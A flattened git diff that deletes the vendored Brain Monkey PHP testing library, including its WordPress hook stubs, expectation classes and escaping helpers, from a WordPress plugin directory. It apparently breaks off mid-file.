$container->hookExpectationExecutor()->executeAddFilter($hook_name, $args); - - return true; - } -} - -if ( ! function_exists('do_action')) { - function do_action($hook_name, ...$args) - { - $container = Monkey\Container::instance(); - $container->hookStorage()->pushToDone(Monkey\Hook\HookStorage::ACTIONS, $hook_name, $args); - $container->hookExpectationExecutor()->executeDoAction($hook_name, $args); - } -} - -if ( ! function_exists('do_action_ref_array')) { - function do_action_ref_array($hook_name, array $args) - { - $container = Monkey\Container::instance(); - $container->hookStorage()->pushToDone(Monkey\Hook\HookStorage::ACTIONS, $hook_name, $args); - $container->hookExpectationExecutor()->executeDoAction($hook_name, $args); - } -} - -if ( ! function_exists('do_action_deprecated')) { - function do_action_deprecated($hook_name, array $args, $version, $replacement, $message = null) - { - $container = Monkey\Container::instance(); - $container->hookStorage()->pushToDone(Monkey\Hook\HookStorage::ACTIONS, $hook_name, $args); - $container->hookExpectationExecutor()->executeDoAction($hook_name, $args); - } -} - -if ( ! function_exists('apply_filters')) { - function apply_filters($hook_name, ...$args) - { - $container = Monkey\Container::instance(); - $container->hookStorage()->pushToDone(Monkey\Hook\HookStorage::FILTERS, $hook_name, $args); - - return $container->hookExpectationExecutor()->executeApplyFilters($hook_name, $args); - } -} - -if ( ! function_exists('apply_filters_ref_array')) { - function apply_filters_ref_array($hook_name, array $args) - { - $container = Monkey\Container::instance(); - $container->hookStorage()->pushToDone(Monkey\Hook\HookStorage::FILTERS, $hook_name, $args); - - return $container->hookExpectationExecutor()->executeApplyFilters($hook_name, $args); - } -} - -if ( ! function_exists('apply_filters_deprecated')) { - function apply_filters_deprecated($hook_name, array $args, $version, $replacement, $message = null) - { - $container = Monkey\Container::instance(); - $container->hookStorage()->pushToDone(Monkey\Hook\HookStorage::FILTERS, $hook_name, $args); - - return $container->hookExpectationExecutor()->executeApplyFilters($hook_name, $args); - } -} - -if ( ! function_exists('has_action')) { - function has_action($hook_name, $callback = null) - { - return Monkey\Actions\has($hook_name, $callback); - } -} - -if ( ! function_exists('has_filter')) { - function has_filter($hook_name, $callback = null) - { - return Monkey\Filters\has($hook_name, $callback); - } -} - -if ( ! function_exists('did_action')) { - function did_action($hook_name) - { - return Monkey\Actions\did($hook_name); - } -} - -if ( ! function_exists('remove_action')) { - function remove_action($hook_name, $callback, $priority = 10) - { - $container = Monkey\Container::instance(); - $storage = $container->hookStorage(); - $args = [$callback, $priority]; - - $container->hookExpectationExecutor()->executeRemoveAction($hook_name, $args); - - return $storage->removeFromAdded(Monkey\Hook\HookStorage::ACTIONS, $hook_name, $args); - } -} - -if ( ! function_exists('remove_filter')) { - function remove_filter($hook_name, $callback, $priority = 10) - { - $container = Monkey\Container::instance(); - $storage = $container->hookStorage(); - $args = [$callback, $priority]; - - $container->hookExpectationExecutor()->executeRemoveFilter($hook_name, $args); - - return $storage->removeFromAdded(Monkey\Hook\HookStorage::FILTERS, $hook_name, $args); - } -} - -if ( ! function_exists('doing_action')) { - function doing_action($hook_name) - { - return Monkey\Actions\doing($hook_name); - } -} - -if ( ! function_exists('doing_filter')) { - function doing_filter($hook_name) - { - return Monkey\Filters\doing($hook_name); - } -} - -if ( ! function_exists('current_filter')) { - function current_filter() - { - return Monkey\Container::instance()->hookRunningStack()->last() ? : false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/phpunit.xml.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/phpunit.xml.dist deleted file mode 100644 index f8d6273c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/phpunit.xml.dist +++ /dev/null @@ -1,36 +0,0 @@ - - - - src - - - - - tests/cases/unit - - - tests/cases/unit/Api - - - tests/cases/unit/Expectation - - - tests/cases/unit/Name - - - tests/cases/unit/Hook - - - tests/cases/functional - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Container.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Container.php deleted file mode 100644 index 1269c759..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Container.php +++ /dev/null @@ -1,113 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -final class Container -{ - - /** - * @var Container|null - */ - private static $instance; - - /** - * @var array - */ - private $services = []; - - /** - * Static instance lookup. - * - * @return Container - */ - public static function instance() - { - if ( ! self::$instance) { - require_once dirname(__DIR__).'/inc/patchwork-loader.php'; - self::$instance = new static(); - } - - return self::$instance; - } - - /** - * @return \Brain\Monkey\Expectation\ExpectationFactory - */ - public function expectationFactory() - { - return $this->service(__FUNCTION__, new Expectation\ExpectationFactory()); - } - - /** - * @return \Brain\Monkey\Hook\HookRunningStack - */ - public function hookRunningStack() - { - return $this->service(__FUNCTION__, new Hook\HookRunningStack()); - } - - /** - * @return \Brain\Monkey\Hook\HookStorage - */ - public function hookStorage() - { - return $this->service(__FUNCTION__, new Hook\HookStorage()); - } - - /** - * @return \Brain\Monkey\Hook\HookExpectationExecutor - */ - public function hookExpectationExecutor() - { - return $this->service(__FUNCTION__, new Hook\HookExpectationExecutor( - $this->hookRunningStack(), - $this->expectationFactory() - )); - } - - /** - * @return \Brain\Monkey\Expectation\FunctionStubFactory - */ - public function functionStubFactory() - { - return $this->service(__FUNCTION__, new Expectation\FunctionStubFactory()); - } - - /** - * @return void - */ - public function reset() - { - $this->expectationFactory()->reset(); - $this->hookRunningStack()->reset(); - $this->hookStorage()->reset(); - $this->functionStubFactory()->reset(); - } - - /** - * @param string $id - * @param mixed $service - * @return mixed - */ - private function service($id, $service) - { - if ( ! array_key_exists($id, $this->services)) { - $this->services[$id] = $service; - } - - return $this->services[$id]; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Exception.php deleted file mode 100644 index 877d9aae..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Exception.php +++ /dev/null @@ -1,21 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class Exception extends \Exception -{ - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/EscapeHelper.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/EscapeHelper.php deleted file mode 100644 index 1ec19c8a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/EscapeHelper.php +++ /dev/null @@ -1,99 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Brain\Monkey\Expectation; - -/** - * Helper functions used to get an escaping that is "similar enough" to WordPress functions, - * without adding too much complexity. - * - * For edge cases consumers can either override the downstream functions that make use of this, or - * tests in integration. - */ -class EscapeHelper -{ - - /** - * @param string $text - * @return string - */ - public static function esc($text) - { - return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); - } - - /** - * @param string $text - * @return void - */ - public static function escAndEcho($text) - { - print static::esc($text); - - } - - /** - * @param string $url - * @return string - */ - public static function escUrlRaw($url) - { - if ( ! parse_url($url, PHP_URL_SCHEME)) { - $url = "http://{$url}"; - } - - return $url; - } - - /** - * @param string $url - * @return string - */ - public static function escUrl($url) - { - return str_replace(['&', "'"], ['&', '''], static::escUrlRaw($url)); - } - - /** - * @param string $text - * @return string - */ - public static function escXml($text) - { - $text = html_entity_decode($text, ENT_QUOTES | ENT_XML1 | ENT_XHTML, 'UTF-8'); // Undo existing entities. - $cdata_regex = '\<\!\[CDATA\[.*?\]\]\>'; - $regex = " - ` - (?=.*?{$cdata_regex}) # lookahead that will match anything followed by a CDATA Section - (?(.*?)) # the 'anything' matched by the lookahead - (?({$cdata_regex})) # the CDATA Section matched by the lookahead - | # alternative - (?(.*)) # non-CDATA Section - `sx"; - - return (string) preg_replace_callback( - $regex, - static function($matches) { - if ( ! $matches[0]) { - return ''; - } - - if ( ! empty($matches['non_cdata'])) { - // Escape HTML entities in the non-CDATA Section. - return htmlspecialchars($matches['non_cdata'], ENT_XML1, 'UTF-8', false); - } - - // Return the CDATA Section unchanged, escape HTML entities in the rest. - return htmlspecialchars($matches['non_cdata_followed_by_cdata'], ENT_XML1, 'UTF-8', false) . $matches['cdata']; - }, - $text - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/Exception.php deleted file mode 100644 index 046472d6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/Exception.php +++ /dev/null @@ -1,37 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class Exception extends BaseException -{ - - /** - * - * @param \Exception $exception - * @return static - */ - public static function becauseOf(\Exception $exception) - { - return new static( - $exception->getMessage(), - $exception->getCode(), - $exception - ); - } - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/ExpectationArgsRequired.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/ExpectationArgsRequired.php deleted file mode 100644 index 0b0ebab4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/ExpectationArgsRequired.php +++ /dev/null @@ -1,51 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class ExpectationArgsRequired extends Exception -{ - - /** - * @param \Brain\Monkey\Expectation\ExpectationTarget $target - * @return static - */ - public static function forExpectationType(ExpectationTarget $target) - { - $type = 'given'; - - switch ($target->type()) { - case ExpectationTarget::TYPE_ACTION_ADDED: - $type = "added action"; - break; - case ExpectationTarget::TYPE_ACTION_DONE: - $type = "done action"; - break; - case ExpectationTarget::TYPE_FILTER_ADDED: - $type = "added filter"; - break; - case ExpectationTarget::TYPE_FILTER_APPLIED: - $type = "applied filter"; - break; - } - - return new static( - "Can't use `withNoArgs()` for {$type} expectations: they require at least one argument." - ); - } - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/InvalidArgumentForStub.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/InvalidArgumentForStub.php deleted file mode 100644 index e53a86fe..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/InvalidArgumentForStub.php +++ /dev/null @@ -1,21 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class InvalidArgumentForStub extends Exception -{ - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/InvalidExpectationName.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/InvalidExpectationName.php deleted file mode 100644 index 194d8a58..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/InvalidExpectationName.php +++ /dev/null @@ -1,39 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class InvalidExpectationName extends Exception -{ - - /** - * @param mixed $name - * @param string $type - * @return static - */ - public static function forNameAndType($name, $type) - { - return new static( - sprintf( - '%s name to set expectation for must be in a string, got %s.', - $type === ExpectationTarget::TYPE_FUNCTION ? 'Function' : 'Hook', - is_object($name) ? 'instance of '.get_class($name) : gettype($name) - ) - ); - } - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/InvalidExpectationType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/InvalidExpectationType.php deleted file mode 100644 index e277ed0f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/InvalidExpectationType.php +++ /dev/null @@ -1,35 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class InvalidExpectationType extends Exception -{ - - /** - * @param string $type - * @return static - */ - public static function forType($type) - { - return new static( - sprintf( - '%s method is not allowed for Brain Monkey expectation.', - $type - ) - ); - } - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/MissedPatchworkReplace.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/MissedPatchworkReplace.php deleted file mode 100644 index 4eaebf7c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/MissedPatchworkReplace.php +++ /dev/null @@ -1,32 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class MissedPatchworkReplace extends Exception -{ - - /** - * @param string $function_name - * @return static - */ - public static function forFunction($function_name) - { - return new static( - "Patchwork was not able to replace '{$function_name}', try to load Patchwork earlier." - ); - } - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/MissingFunctionExpectations.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/MissingFunctionExpectations.php deleted file mode 100644 index 89f54942..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/MissingFunctionExpectations.php +++ /dev/null @@ -1,21 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class MissingFunctionExpectations extends Exception -{ - -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/NotAllowedMethod.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/NotAllowedMethod.php deleted file mode 100644 index 7d3fc4c9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/NotAllowedMethod.php +++ /dev/null @@ -1,88 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class NotAllowedMethod extends Exception -{ - - const CODE_METHOD = 1; - const CODE_RETURNING_METHOD = 2; - const CODE_WHEN_HAPPEN = 3; - const CODE_BY_DEFAULT = 4; - - /** - * @param string $method_name - * @return static - */ - public static function forMethod($method_name) - { - return new static( - sprintf( - '%s method is not allowed for Brain Monkey expectation.', - $method_name - ), - self::CODE_METHOD - ); - } - - /** - * @return static - */ - public static function forByDefault() - { - return new static( - 'byDefault method is not allowed for Brain Monkey hook expectation.', - self::CODE_BY_DEFAULT - ); - } - - /** - * @param string $method_name - * @return static - */ - public static function forReturningMethod($method_name) - { - return new static( - sprintf( - 'Bad usage of "%s" method: returning expectation can only be used for functions or applied filters expectations.', - $method_name - ), - self::CODE_RETURNING_METHOD - ); - } - - public static function forWhenHappen(ExpectationTarget $target) - { - $type = ''; - - switch ($target->type()) { - case ExpectationTarget::TYPE_FUNCTION: - $type = "function"; - break; - case ExpectationTarget::TYPE_FILTER_APPLIED: - $type = "applied filter"; - break; - } - - return new static( - "Can't use `whenHappen()` for {$type} expectations: use `andReturnUsing()` instead.", - self::CODE_WHEN_HAPPEN - ); - } - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Expectation.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Expectation.php deleted file mode 100644 index 046525ca..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Expectation.php +++ /dev/null @@ -1,284 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Brain\Monkey\Expectation; - -use Mockery\ExpectationInterface; - -/** - * A wrap around Mockery expectation. - * - * Acts as "man in the middle" between Monkey API and Mockery expectation, preventing calls to - * some methods and do some checks before calling other methods. - * finally, some additional methods are added like `andAlsoExpect` to overcome the not allowed - * `getMock()` and `andReturnFirstArg()` to facilitate the creation of expectation for applied - * filter hooks. - * - * @author Giuseppe Mazzapica - * @license http://opensource.org/licenses/MIT MIT - * @package BrainMonkey - * - * @method Expectation once() - * @method Expectation twice() - * @method Expectation atLeast() - * @method Expectation atMost() - * @method Expectation times(int $times) - * @method Expectation never() - * @method Expectation ordered() - * @method Expectation between(int $min, int $max) - * @method Expectation zeroOrMoreTimes() - * @method Expectation withAnyArgs() - * @method Expectation andReturn(...$args) - * @method Expectation andReturnNull() - * @method Expectation andReturnValues(...$args) - * @method Expectation andReturnUsing(callable ...$args) - * @method Expectation andThrow(\Throwable $throwable) - */ -class Expectation -{ - - const RETURNING_EXPECTATION_TYPES = [ - ExpectationTarget::TYPE_FILTER_APPLIED, - ExpectationTarget::TYPE_FUNCTION - ]; - - const ADDING_TYPES = [ - ExpectationTarget::TYPE_ACTION_ADDED, - ExpectationTarget::TYPE_FILTER_ADDED - ]; - - const REMOVING_TYPES = [ - ExpectationTarget::TYPE_ACTION_REMOVED, - ExpectationTarget::TYPE_FILTER_REMOVED - ]; - - const NO_ARGS_EXPECTATION_TYPES = [ - ExpectationTarget::TYPE_ACTION_DONE, - ExpectationTarget::TYPE_FUNCTION - ]; - - const NOT_ALLOWED_METHODS = [ - 'shouldReceive', - 'andSet', - 'set', - 'shouldExpect', - 'mock', - 'getMock', - ]; - - /** - * @var \Mockery\Expectation|\Mockery\ExpectationInterface - */ - private $expectation; - - /** - * @var \Brain\Monkey\Expectation\ExpectationTarget - */ - private $target; - - /** - * @var bool - */ - private $default = true; - - /** - * @var \ArrayAccess - */ - private $return_expectations; - - /** - * @param \Mockery\ExpectationInterface $expectation - * @param \Brain\Monkey\Expectation\ExpectationTarget $target - * @param \ArrayAccess|null $return_expectations - */ - public function __construct( - ExpectationInterface $expectation, - ExpectationTarget $target, - $return_expectations = null - ) { - $this->expectation = $expectation; - $this->target = $target; - $this->return_expectations = ($return_expectations instanceof \ArrayAccess) ? $return_expectations : new \ArrayObject(); - } - - /** - * Ensure full cloning. - * - * @codeCoverageIgnore - */ - public function __clone() - { - $this->expectation = clone $this->expectation; - $this->target = clone $this->target; - } - - /** - * Delegate method to wrapped expectation, after some checks. - * - * @param string $name - * @param array $arguments - * @return static - */ - public function __call($name, array $arguments = []) - { - if (in_array($name, self::NOT_ALLOWED_METHODS, true)) { - throw Exception\NotAllowedMethod::forMethod($name); - } - - $has_return = stristr($name, 'return'); - $has_default = $name === 'byDefault'; - - if ($has_default && $this->target->type() !== ExpectationTarget::TYPE_FUNCTION) { - throw Exception\NotAllowedMethod::forByDefault(); - } - - if ( - $has_return - && ! in_array($this->target->type(), self::RETURNING_EXPECTATION_TYPES, true) - ) { - throw Exception\NotAllowedMethod::forReturningMethod($name); - } - - if ($this->default) { - $this->default = false; - $this->andAlsoExpectIt(); - } - - $callback = [$this->expectation, $name]; - - $this->expectation = $callback(...$arguments); - - if ($has_return) { - $id = $this->target->identifier(); - $this->return_expectations->offsetExists($id) or $this->return_expectations[$id] = 1; - } - - return $this; - } - - /** - * @return \Mockery\Expectation|\Mockery\CompositeExpectation - */ - public function mockeryExpectation() - { - return $this->expectation; - } - - /** - * Mockery expectation allow chaining different expectations with by chaining `getMock()` - * method. - * Since `getMock()` is disabled for Brain Monkey expectation this methods provides a way to - * chain expectations. - * - * @return static - */ - public function andAlsoExpectIt() - { - $method = $this->target->mockMethodName(); - /** @noinspection PhpMethodParametersCountMismatchInspection */ - $this->expectation = $this->expectation->getMock()->shouldReceive($method); - - return $this; - } - - /** - * WordPress action and filters addition and filters applying requires at least one argument, - * and setting an expectation of no arguments for those triggers an error in Brain Monkey. - * - * @return static - */ - public function withNoArgs() - { - if ( ! in_array($this->target->type(), self::NO_ARGS_EXPECTATION_TYPES, true)) { - throw Exception\ExpectationArgsRequired::forExpectationType($this->target); - } - - $this->expectation = $this->expectation->withNoArgs(); - - return $this; - } - - /** - * @param mixed ...$args - * @return static - */ - public function with(...$args) - { - $argsNum = count($args); - - if ( ! $argsNum && - ! in_array($this->target->type(), self::NO_ARGS_EXPECTATION_TYPES, true) - ) { - throw Exception\ExpectationArgsRequired::forExpectationType($this->target); - } - - if (in_array($this->target->type(), self::ADDING_TYPES, true) && $argsNum < 3) { - $argsNum < 2 and $args[] = 10; - $args[] = 1; - } - - if (in_array($this->target->type(), self::REMOVING_TYPES, true) && $argsNum === 1) { - $args[] = 10; - } - - $this->expectation = $this->expectation->with(...$args); - - return $this; - } - - /** - * Brain Monkey doesn't allow return expectation for actions (added/done) nor for added - * filters. - * However, it is desirable to do something when the expected callback is used, this is the - * reason to be of this method. - * - * ``` - * Actions::expectDone('some_action')->once()->whenHappen(function($some_arg) { - * echo "{$some_arg} was passed to " . current_filter(); - * }); - * ``` - * - * Snippet above will not change the return of `do_action('some_action', $some_arg)` - * like a normal return expectation would do, but allows to catch expected events with a - * callback. - * - * For expectation types that allows return expectation (functions, applied filters) this method - * becomes just an alias for Mockery `andReturnUsing()`. - * - * @param callable $callback - * @return static - */ - public function whenHappen(callable $callback) - { - if (in_array($this->target->type(), self::RETURNING_EXPECTATION_TYPES, true)) { - throw Exception\NotAllowedMethod::forWhenHappen($this->target); - } - - $this->expectation->andReturnUsing($callback); - - return $this; - } - - /** - * @return static - */ - public function andReturnFirstArg() - { - if ( ! in_array($this->target->type(), self::RETURNING_EXPECTATION_TYPES, true)) { - throw Exception\NotAllowedMethod::forReturningMethod('andReturnFirstParam'); - } - - $this->expectation->andReturnUsing(function ($arg = null) { - return $arg; - }); - - return $this; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/ExpectationFactory.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/ExpectationFactory.php deleted file mode 100644 index 90c36743..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/ExpectationFactory.php +++ /dev/null @@ -1,187 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class ExpectationFactory -{ - - /** - * @var \Brain\Monkey\Expectation\Expectation[] - */ - private $expectations = []; - - /** - * @var \ArrayObject - */ - private $return_expectations; - - public function __construct() - { - $this->return_expectations = new \ArrayObject(); - } - - /** - * @param string $function - * @return \Brain\Monkey\Expectation\Expectation; - */ - public function forFunctionExecuted($function) - { - return $this->create( - new ExpectationTarget(ExpectationTarget::TYPE_FUNCTION, $function) - ); - } - - /** - * @param string $action - * @return \Brain\Monkey\Expectation\Expectation; - */ - public function forActionAdded($action) - { - return $this->create( - new ExpectationTarget(ExpectationTarget::TYPE_ACTION_ADDED, $action) - ); - } - - /** - * @param string $action - * @return \Brain\Monkey\Expectation\Expectation; - */ - public function forActionDone($action) - { - return $this->create( - new ExpectationTarget(ExpectationTarget::TYPE_ACTION_DONE, $action) - ); - } - - /** - * @param string $action - * @return \Brain\Monkey\Expectation\Expectation; - */ - public function forActionRemoved($action) - { - return $this->create( - new ExpectationTarget(ExpectationTarget::TYPE_ACTION_REMOVED, $action) - ); - } - - /** - * @param string $filter - * @return \Brain\Monkey\Expectation\Expectation; - */ - public function forFilterAdded($filter) - { - return $this->create( - new ExpectationTarget(ExpectationTarget::TYPE_FILTER_ADDED, $filter) - ); - } - - /** - * @param string $filter - * @return \Brain\Monkey\Expectation\Expectation; - */ - public function forFilterApplied($filter) - { - return $this->create( - new ExpectationTarget(ExpectationTarget::TYPE_FILTER_APPLIED, $filter) - ); - } - - /** - * @param string $filter - * @return \Brain\Monkey\Expectation\Expectation; - */ - public function forFilterRemoved($filter) - { - return $this->create( - new ExpectationTarget(ExpectationTarget::TYPE_FILTER_REMOVED, $filter) - ); - } - - /** - * @param \Brain\Monkey\Expectation\ExpectationTarget $target - * @return \Mockery\MockInterface|mixed - */ - public function hasMockFor(ExpectationTarget $target) - { - return array_key_exists($target->identifier(), $this->expectations); - } - - /** - * @param \Brain\Monkey\Expectation\ExpectationTarget $target - * @return \Mockery\MockInterface|mixed - */ - public function hasReturnExpectationFor(ExpectationTarget $target) - { - if ( ! $this->hasMockFor($target)) { - return false; - } - - return $this->return_expectations->offsetExists($target->identifier()); - } - - /** - * @param \Brain\Monkey\Expectation\ExpectationTarget $target - * @return \Mockery\MockInterface|mixed - */ - public function mockFor(ExpectationTarget $target) - { - return $this->hasMockFor($target) - ? $this->expectations[$target->identifier()]->mockeryExpectation()->getMock() - : \Mockery::mock(); - } - - public function reset() - { - $this->expectations = []; - $this->return_expectations = new \ArrayObject(); - } - - /** - * @param \Brain\Monkey\Expectation\ExpectationTarget $target - * @return \Brain\Monkey\Expectation\Expectation - */ - private function create(ExpectationTarget $target) - { - $id = $target->identifier(); - - /** @noinspection PhpMethodParametersCountMismatchInspection */ - $expectation = $this->mockFor($target) - ->shouldReceive($target->mockMethodName()) - ->atLeast() - ->once(); - - if ($target->type() === ExpectationTarget::TYPE_FILTER_APPLIED) { - $expectation = $expectation->andReturnUsing(function ($arg) { - return $arg; - }); - } - - $expectation = $expectation->byDefault(); - - $this->expectations[$id] = new Expectation( - $expectation, - $target, - $this->return_expectations - ); - - return $this->expectations[$id]; - } - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/ExpectationTarget.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/ExpectationTarget.php deleted file mode 100644 index dfbcc08c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/ExpectationTarget.php +++ /dev/null @@ -1,199 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -final class ExpectationTarget -{ - - const TYPE_ACTION_ADDED = 'add_action'; - const TYPE_ACTION_DONE = 'do_action'; - const TYPE_ACTION_REMOVED = 'remove_action'; - const TYPE_FILTER_ADDED = 'add_filter'; - const TYPE_FILTER_APPLIED = 'apply_filters'; - const TYPE_FILTER_REMOVED = 'remove_filter'; - const TYPE_FUNCTION = 'function'; - const TYPE_NULL = ''; - - const TYPES = [ - self::TYPE_FUNCTION, - self::TYPE_ACTION_ADDED, - self::TYPE_ACTION_DONE, - self::TYPE_ACTION_REMOVED, - self::TYPE_FILTER_ADDED, - self::TYPE_FILTER_APPLIED, - self::TYPE_FILTER_REMOVED, - ]; - - const HOOK_SANITIZE_MAP = [ - '-' => '_hyphen_', - ' ' => '_space_', - '/' => '_slash_', - '\\' => '_backslash_', - '.' => '_dot_', - '!' => '_exclamation_', - '"' => '_double_quote_', - '\'' => '_quote_', - '£' => '_pound_', - '$' => '_dollar_', - '%' => '_percent_', - '=' => '_equal_', - '?' => '_question_', - '*' => '_asterisk_', - '@' => '_slug_', - '#' => '_sharp_', - '+' => '_plus_', - '|' => '_pipe_', - '<' => '_lt_', - '>' => '_gt_', - ',' => '_comma_', - ';' => '_semicolon_', - ':' => '_colon_', - '~' => '_tilde_', - '(' => '_bracket_open_', - ')' => '_bracket_close_', - '[' => '_square_bracket_open_', - ']' => '_square_bracket_close_', - '{' => '_curly_bracket_open_', - '}' => '_curly_bracket_close_', - ]; - - /** - * @var string - */ - private $type; - - /** - * @var callable|string - */ - private $name; - - /** - * @var string - */ - private $original_name; - - /** - * @param string $type - * @param string $name - */ - public function __construct($type, $name) - { - if ( ! in_array($type, self::TYPES, true)) { - throw Exception\InvalidExpectationType::forType($name); - } - - if ( ! is_string($name)) { - throw Exception\InvalidExpectationName::forNameAndType($name, $type); - } - - $this->type = $type; - - if ($type === self::TYPE_FUNCTION) { - $nameObject = new FunctionName($name); - $namespace = str_replace('\\', '_', ltrim($nameObject->getNamespace(), '\\')); - $this->original_name = $nameObject->fullyQualifiedName(); - $this->name = $namespace - ? "{$namespace}_".$nameObject->shortName() - : $nameObject->shortName(); - - return; - } - - $this->original_name = $name; - $replaced = strtr($name, self::HOOK_SANITIZE_MAP); - $this->name = preg_replace('/[^a-zA-Z0-9_]/', '__', $replaced); - - } - - /** - * @return string - */ - public function identifier() - { - return md5($this->original_name.$this->type); - } - - /** - * @return string - */ - public function name() - { - return $this->name; - } - - /** - * @return string - */ - public function mockMethodName() - { - $name = $this->name(); - - switch ($this->type()) { - case ExpectationTarget::TYPE_FUNCTION: - break; - case ExpectationTarget::TYPE_ACTION_ADDED: - $name = "add_action_{$name}"; - break; - case ExpectationTarget::TYPE_ACTION_DONE: - $name = "do_action_{$name}"; - break; - case ExpectationTarget::TYPE_ACTION_REMOVED: - $name = "remove_action_{$name}"; - break; - case ExpectationTarget::TYPE_FILTER_ADDED: - $name = "add_filter_{$name}"; - break; - case ExpectationTarget::TYPE_FILTER_APPLIED: - $name = "apply_filters_{$name}"; - break; - case ExpectationTarget::TYPE_FILTER_REMOVED: - $name = "remove_filter_{$name}"; - 